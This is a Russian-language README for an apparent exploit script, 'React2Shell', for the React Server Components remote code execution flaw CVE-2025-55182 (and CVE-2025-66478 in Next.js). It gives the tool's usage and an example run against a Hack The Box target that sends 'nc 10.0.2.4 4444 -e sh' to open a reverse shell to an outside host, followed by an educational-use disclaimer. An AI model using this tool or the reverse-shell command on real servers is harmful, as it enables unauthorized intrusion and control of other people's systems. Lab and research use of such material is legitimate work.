CVE-2025-55182-React2Shell

Разработано infrar3d

Уязвимость критической степени тяжести 10.0, затрагивающая серверное использование React.js, отслеживаемая как CVE-2025-55182 в React.js и CVE-2025-66478 специально для фреймворка Next.js.

Эта уязвимость была ответственно раскрыта Lachlan Davidson 29 ноября 2025 года по тихоокеанскому времени команде Meta. Первоначальное раскрытие и выпуск патча были выполнены React и Vercel 3 декабря 2025 года по тихоокеанскому времени. (Оригинал: https://react2shell.com/)

Использование:

python3 CVE-2025-55182.py --help 
usage: python CVE-2025-55182.py -u <URL> [-c COMMAND]

CVE-2025-55182 - React Server Components RCE Exploit

options:
  -h, --help            show this help message and exit
  -u, --url URL         Target URL (required)
  -c, --command COMMAND
                        Command to execute on target (default: id)

Example: python CVE-2025-55182.py -u http://target.com -c "whoami"

Пример (проверено на задании HTB):

python3 CVE-2025-55182.py -u http://154.57.164.73:30507 -c "nc 10.0.2.4 4444 -e sh"

⚠️ Отказ от ответственности ⚠️

Данное программное обеспечение и PoC-код предоставляются только для образовательных и исследовательских целей.

• Авторы не несут ответственности за любое неправомерное использование или ущерб, причинённый этой программой.
• Не используйте против любых систем без явного предварительного разрешения.
• Использование этого инструмента для атак на цели без согласия является незаконным.

Вы несете ответственность за соблюдение всех применимых законов. Используйте этично и ответственно.